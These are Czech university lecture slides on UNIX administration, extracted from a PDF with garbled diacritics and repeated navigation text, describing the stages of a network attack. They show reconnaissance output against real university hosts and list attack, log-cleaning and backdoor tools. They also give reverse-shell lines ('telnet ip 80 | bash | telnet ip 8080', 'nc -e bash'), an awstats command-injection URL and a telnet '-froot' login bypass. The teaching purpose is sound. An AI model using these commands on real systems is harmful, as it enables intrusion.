Administrace UNIXu Leo Galamboˇs
Administrace UNIXu Leo Galamboˇs
2010
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
Part I
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ
Administrace a prostˇred´ı
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
´ sky Obsah pˇrednaˇ
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´
´ UNIXu metodika spravy ´ ´ zakladn´ ı administratorsk e´ cˇ innosti ´ ı s´ıˇtovan´ prostˇred´ı menˇs´ı firemn´ı s´ıteˇ ´ ı techniky napaden´ı a ochrany konkretn´
ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Administrace UNIXu
Internet
IPSec
Leo Galamboˇs Štít
Administrativa ´ Utoky Anatomie
Lokalizace
Road warrior
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu Dohled
UNIX MS-Windows
Tisk
SMTP
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
Zálohování
´ an´ ´ ı Vykrad DNS
UNIX MS-Windows
AMD
NIS/YP
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka NFS
´ er ˇ Zav
´ cet a zkouˇsku Poˇzadavky na zapoˇ
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
´ cet Zapoˇ ´ ı poˇzadavky urˇcuje cviˇc´ıc´ı konkretn´ ´ sen´ı ke zkouˇsce nutn´y pro pˇrihlaˇ
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Zkouˇska ´ nejv´ysˇ e jeden pˇredterm´ın (v pˇr´ıpadeˇ zajmu) ´ eˇ 3 term´ıny v ˇradn ´ em ´ zkouˇskovem ´ prav
UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Administrace UNIXu Leo Galamboˇs Administrativa
´ ı Varovan´
´ Utoky Anatomie
´ ska popisuje obecne´ postupy, kter´ym je nutne´ Tato pˇrednaˇ ´ – efektivn´ı obrana je vˇzdy zaloˇzena na znalosti formy branit utoku. ´ ´ nen´ı v zˇ adn ´ em ´ pˇr´ıpadeˇ navodem ´ Tento studijn´ı material k ´ ´ jak´ymkoliv nezakonn´ ym aktivitam.
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad
ˇ Doplnkov e´ zdroje: RFC2196
UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Tor
Administrace UNIXu Leo Galamboˇs Administrativa
´ ı zakryt´ı vlastn´ı identity a stop pˇri vyˇsetˇrovan´ vrstvena´ architektura (”Onion network”) ´ aplikaˇcn´ı nezavislost via TCP/SOCKS torbutton: Add-on pro Firefox
´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
# tor-resolve www.cvut.cz 147.32.3.39 # tcpdump -i eth0 -n port 53 tcpdump: verbose output suppressed, use -v or -vv for full protocol decode listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes ˆC 0 packets captured 0 packets received by filter 0 packets dropped by kernel
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Administrace UNIXu
Nev´yhoda Tor Menˇs´ı s´ıla a variabilita jak vlastn´ı botNET.
Leo Galamboˇs Administrativa ´ Utoky Anatomie
# proxychains nmap -sT -PN -n -sV -p 21,22,80 www.fd.cvut.cz ProxyChains-3.1 (http://proxychains.sf.net)
Lokalizace
Starting Nmap 5.21 ( http://nmap.org ) at CENSORED CEST |DNS-request| www.fd.cvut.cz |S-chain|-<>-127.0.0.1:9050-<><>-CENSORED:53-<><>-OK |DNS-response| www.fd.cvut.cz is 147.32.100.7 |S-chain|-<>-127.0.0.1:9050-<><>-147.32.100.7:80-<><>-OK |S-chain|-<>-127.0.0.1:9050-<><>-147.32.100.7:22-<><>-OK |S-chain|-<>-127.0.0.1:9050-<><>-147.32.100.7:21-<--timeout |S-chain|-<>-127.0.0.1:9050-<><>-147.32.100.7:22-<><>-OK |S-chain|-<>-127.0.0.1:9050-<><>-147.32.100.7:80-<><>-OK Nmap scan report for www.fd.cvut.cz (147.32.100.7) Host is up (0.97s latency). PORT STATE SERVICE VERSION 21/tcp closed ftp 22/tcp open ssh OpenSSH 4.3p2 Debian 9etch3 (protocol 2.0) 80/tcp open http Apache httpd Service Info: OS: Linux
ˇ ren´ı der ˇ Proveˇ
Nmap done: 1 IP address (1 host up) scanned in 27.16 seconds
´ ı Skenovan´
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
ˇ zen´ı DNS Vyteˇ
Administrace UNIXu Leo Galamboˇs Administrativa
http://(vpn,fw,owa,outlook).cvut.cz/ ˇ zen´ı DNS (AXFR) vyteˇ
´ Utoky Anatomie
Lokalizace ´ ı Skenovan´
$ > > >
nslookup server 147.32.266.8 set type=ANY ls -d ex.cvut.cz.
# proxychains dig +tcp @CENSORED fd.cvut.cz AXFR ProxyChains-3.1 (http://proxychains.sf.net) |S-chain|-<>-127.0.0.1:9050-<><>-CENSORED:53-<><>-OK ; <<>> DiG 9.4.3-P5 <<>> +tcp @CENSORED fd.cvut.cz AXFR ; (1 server found) ;; global options: printcmd : fd.cvut.cz. IN NS ns.cvut.cz. fd.cvut.cz. IN NS ns1.horska.fd.cvut.cz. fd.cvut.cz. IN NS dhcp.fd.cvut.cz. _samba._tcp.fd.cvut.cz. IN SRV 10 1 139 firewall.fd.cvut.cz. _samba._tcp.fd.cvut.cz. IN SRV 10 1 445 firewall.fd.cvut.cz. _vlmcs._tcp.fd.cvut.cz. IN SRV 0 0 1688 kms.vc.cvut.cz. :
ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
ˇ udaj Sber ´ u˚
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
webove´ prezentace, dceˇrinne´ spoleˇcnosti ˇ ´ ı s´ıte, ˇ usenet) udaje o zamestnanc´ ıch (socialn´ ´ ´ ıc´ı systemy ´ IT: osoby chran´ MRK, SLS: social-hacking MNGMNT: nerozum´ı IT, maj´ı ale moc
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
´ outsourcing www (poznamky v HTML) struktura AS v okol´ı – utok na s´ıteˇ bezpeˇcnostn´ıch ´ sloˇzek ˇ Google map umoˇznuje orientaci na m´ısteˇ cˇ inu ochrana(?): RFC 2196
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
ˇ (historick´ych) udaj Sber ´ u˚
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
´ ˇ Webove´ stranky – zamestnanci, SW, IS/IT http://www.archive.org/ Usenet/NNTP
´ Webove´ stranky – Google Google hacking database1 Athena2 , SiteDigger3 , Nikto/Wikto4
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop 1
http://johny.ihackstuff.com/ghdb.php http: //www.snakeoillabs.com/downloads/Athena2.0.msi 3 http://www.foundstone.com/ 4 http://www.sensepost.com/research/wikto
UNIX MS-Windows
2
´ Zadn´ı vratka ´ er ˇ Zav
´ veˇrejn´ych baz´ ´ ı (whois, dns registry) Problem
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
obsahuj´ı citlive´ udaje ´ ´ naivn´ı sprava domain hijacking ˇ ana ´ 5 na autonete.net AOL pˇresmerov
´ maj´ı webova´ rozhran´ı - arch´ıvy WWW stranek ´ rˇeˇsen´ı: ”anonymn´ı” info@, POBox, atp. (nedokonale)
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav 5
´ autorizovano dle FROM poloˇzky z e-mailu
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
´ ı portu˚ a OS Skenovan´
Administrace UNIXu Leo Galamboˇs
ˇ ı TCP/UDP portu˚ v LISTENING stavu zjiˇsten´ ´ ı IP stacku) side-effect: verze OS (dle chovan´ pasivn´ı detekce OS: siphon nmap mnoho typu˚ skenu˚ TCP full/SYN/FIN/Xmas/Null, ´ stealth mod strobe a tcp scan (SAINT) pouze tcp udp scan (SATAN, SAINT) je spolehliv´y, ale i dobˇre zachytiteln´y v IDS
Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
MS-Windows: Netcat, SuperScan, WUPS, ScanLine
´ an´ ´ ı Vykrad UNIX MS-Windows
Ochrana Detekce pomoc´ı snorta . Dokonala´ ochrana neexistuje.
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka a
http://www.snort.org/
´ er ˇ Zav
ICMP
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
v´yborn´y protokol pro analytiku s´ıteˇ ´ v plne´ sˇ ´ıˇri velmi nebezpeˇcn´y, pokud je pouˇz´ıvan ˇ ´ ı via ICMP ECHO loki2 umoˇznuje tunelovan´
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Routery, CISCO ´ ICMP 13 (timestamp) muˇ tj. ˚ ze prozradit cˇ asovou zonu, ˇ ı. ICMP 17 (address mask) muˇ um´ısten´ ˚ ze prozradit ´ k efektivn´ımu DoS. broadcast a vest
UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
DNS
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky
ˇ ı verze, patch urovn ˇ a nekdy ˇ Zjiˇsten´ e, i typu a verze O/S ´
Anatomie
Lokalizace # dig @147.32.103.3 version.bind CH TXT ´ ı Skenovan´ ; <<>> DiG 9.4.3-P5 <<>> @147.32.103.3 version.bind CH TXT ; (1 server found) ;; global options: printcmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 62844 ;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0 ;; WARNING: recursion requested but not available ;; QUESTION SECTION: ;version.bind. CH TXT ;; ANSWER SECTION: version.bind. 0 CH TXT "9.3.6-P1-RedHat-9.3.6-4.P1.el5_4.2"
ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX
;; AUTHORITY SECTION: version.bind. 0 CH NS version.bind.
MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
cheops-ng.sf.net
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Bannery
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
# telnet www.fd.cvut.cz 80 Trying 147.32.100.7... Connected to www.fd.cvut.cz. Escape character is ’ˆ]’. HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: CENSORED Server: Apache Connection: close Content-Type: text/html # telnet fdlin.fd.cvut.cz. smtp Trying 147.32.100.10... Connected to fdlin.fd.cvut.cz.. Escape character is ’ˆ]’.
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX
220 fdlin.fd.cvut.cz ESMTP Postfix
MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
´ ı poloˇzek Listovan´
Administrace UNIXu Leo Galamboˇs Administrativa
MS RPC – epdump (Reskit), rpcdump6
´ Utoky
MS NMB – nmbscan
Lokalizace
MS zdroje – DumpSec7
´ ı Skenovan´
ˇ ruje, zda je DNS cache snooping: utoˇ ´ cn´ık proveˇ ´ zaznam v keˇsi DNS AXFR (viz dˇr´ıve)
Anatomie
ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
MS SMB null-session net use \\147.32.300.8\IPC$ "" /u:"" nebo vˇse v jednom skrze NBTEnuma a
UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop
http://ntsleuth.0catch.com/
UNIX MS-Windows
´ Zadn´ı vratka 6
http://oss.coresecurity.com/impacket/rpcdump.py 7 http://www.somarsoft.com/
´ er ˇ Zav
Anatomie utoku ´
Administrace UNIXu Leo Galamboˇs
Zajištění prostoru jmen, IP adres, zájmových osob
Administrativa Lokalizace
´ Utoky
Veřejné vyhledávací služby, whois báze, DNS, AXFR,… Nářadí: dig, nslookup, dnsmap, whois, DNSpredict, fierce,...
Anatomie
Skenování
Zjištění (vstupních) cílů Skenery TCP/UDP služeb, detekce OS, verzí démonů, ... Nářadí: fping, nmap, amap, xprobe2, SinFP,...
Lokalizace ´ ı Skenovan´
Analýza a prověření cílů a uživatelských účtů Výpisy účtů, zdrojů, SNMP, identifikace aplikací,... Nářadí: null sessions, DumpSec, showmount, nmbscan, rpcinfo, nmap, snmpwalk, snmpcheck, netcat...
Vytěžení cílů
Získání přístupu
Zvýšení získaných oprávnění
ˇ ren´ı der ˇ Proveˇ
Prověření děr
Sniffing hesel, brute-force, penetrační programy,... Nářadí: dsniff, Cain&Abel, phoss, hydra, SIPcrack, Metasploit framework, airsnarf, kismet,...
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
Posílení přístupu
Password cracking, exploits, script kiddies, ... Nářadí: john, rcrack, ophcrack, Cain, ntbf, LCP,...
UNIX
Vykrádání
Opětovné vytěžování nově získaných zdrojů Zneužívání důvěry, analýza dostupných dat (hesla, kódy),... Nářadí: rhosts, ssh/ssh-keygen, LSA secrets, C&A, /etc,...
Zakrytí průniku před administrátory a dozorem
´ ı Z´ıskan´ pˇr´ıstupu
MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakrytí stop
Zakryt´ı stop
Vyčištění logů, zakrytí „nového“ software,... Nářadí: logclean-ng, wtmpclean, rootkity, file streaming,...
UNIX
Vytvoření vrátek a mostů pro opětovné získání nadvlády
Zadní vrátka
?
Nové účty, cron-job, startup infekce, monitoring, trojani… Nářadí: cron, rc, registry, keylog, VNC, psexec, ssh a login s patchi,...
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
´ Utoky na UNIX
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´
brute-force: THC-Hydra8
ˇ ren´ı der ˇ Proveˇ
buffer-overflow: stack/heap execution
´ ı Z´ıskan´ pˇr´ıstupu
nekontrolovan´y vstup: telnet -l "-froot" 147.32.300.69
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka 8
http://freeworld.thc.org/thc-hydra/ 9 Solaris 10 in.telnetd, podobneˇ AIX a rlogin
´ er ˇ Zav
Reverse telnet
Administrace UNIXu Leo Galamboˇs
´ ı telnet spoje k Pˇres vadnou webovou aplikaci vyvolan´ utoˇ ´ cn´ıkovi ˇ sinou pust´ı do portu˚ 80, 8080 atp. firewall ji vetˇ utoˇ ´ cn´ık pouˇzije nc (netcat) v listening reˇzimu
Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´
telnet ip 80 | bash | telnet ip 8080
ˇ ren´ı der ˇ Proveˇ
../awstats.pl?configdir=|echo%20;echo%20;telnet%20ip%2080..
´ ı Z´ıskan´ pˇr´ıstupu
´ z nc -e bash ip 80 jednoduˇseji teˇ
UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu
8080
UNIX MS-Windows
´ an´ ´ ı Vykrad
bash
UNIX MS-Windows
Zakryt´ı stop UNIX
80
MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
BIND/DNS
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
DNS cache poisoning ´ podvrˇzen´ı zaznam u˚ v DNS keˇsi
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ
´ ı verze (skenovan´ ´ ı version.bind) citlive´ jen pro konkretn´ ´ ı sekvence dotazu˚ – CNAME, delegovan´ ´ ı–a vyvolan´ odhalen´ı sekvence portu˚ a DNS ID
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX
DNS TSIG overflow (starˇs´ı verze BIND)
MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
SSH
Administrace UNIXu Leo Galamboˇs Administrativa
ˇ ´ zn´ych der ˇ v OpenSSH Existovalo nekolik vaˇ napˇr´ıklad int overflow v challenge-response auth proceduˇre ´ root-a utoˇ ´ cn´ık z´ıska´ prava
´ Utoky Anatomie
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Monitor
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Kryptomateriál
Zakryt´ı stop UNIX MS-Windows
Útočník
Otrok 1
Otrok 2
Systém
´ Zadn´ı vratka ´ er ˇ Zav
´ ´ Utok na promisc mod
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
ˇ z´ı typicky pod root-em monitoring, IDS beˇ ´ ze prostˇrelit system ´ vhodneˇ podvrˇzen´y packet dokaˇ ˇ sne´ utoky usp na tcpdump i snort ´ eˇ ´ ˇ infikovan´y doplat´ı na svoji ”zvedavost” utoˇ ´ cn´ık c´ıl nijak nekontaktuje!
Lokalizace ´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX
Viz. Hispahack Research Team http://hispahack.ccc.de/
MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
´ Utoky na MS-Windows
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
autentizaˇcn´ı spoofing: brute-force, MTM, slovn´ık ´ y utok: vzdalen´ Metasploit10 ´ utok na aplikace: Office, IE11 ´ utok na ovladaˇce: Netgear 802.11 Beacon remote code ´ execution12
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
10
testy zranitelnost´ı http://framework.metasploit.com/ 11 Napˇr´ıklad buffer-overflow LoadAniIcon/user32.dll 12 Cache, Moore, skape http://www.uninformed.org/?v=all&a=29&t=sumry
´ Zadn´ı vratka ´ er ˇ Zav
Autentizaˇcn´ı spoofing
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
software: enum, Brutus, Medusa, Venom, ad. ´ e´ politice neb´yva´ usp ˇ sn´y pˇri spravn ´ eˇ
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX
Ochrana ´ ı Dobra´ bezpeˇcnostn´ı pravidla, napˇr. silna´ hesla, zamykan´ hesla, kontrola Event logu,. . .
MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav
Odposlech hesla
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace
´ Utok na LanManager, NTLM a Kerberos ´ ´ LN se lame nejlepe: Cain, LCP13 , l0pthcrack ´ ˇ brute-force, slovn´ık NTLM se lame sˇ patne: K5 lze zlomit slovn´ıkov´ym utokem na prvn´ı packet ´ zaˇsifrovan´y kl´ıcˇ em odvozen´ym z hesla ´ Cain lame vˇse, nav´ıc um´ı ARP spoof
´ ı Skenovan´ ˇ ren´ı der ˇ Proveˇ ´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav 13
http://www.lcpsoft.com/
MTM: sp´ıc´ı muˇz uprostˇred
Administrace UNIXu Leo Galamboˇs Administrativa ´ Utoky Anatomie
Lokalizace ´ ı Skenovan´
smbrelay a smbproxy14
ˇ ren´ı der ˇ Proveˇ
Cain
´ ı Z´ıskan´ pˇr´ıstupu UNIX MS-Windows
Ochrana ´ ı komunikace. Firewall s IPsec? Autentizace a sˇ ifrovan´
Pos´ılen´ı pˇr´ıstupu UNIX MS-Windows
´ an´ ´ ı Vykrad UNIX MS-Windows
Zakryt´ı stop UNIX MS-Windows
´ Zadn´ı vratka ´ er ˇ Zav 14
crackuj´ı heˇse hesel
Anatomie utoku ´
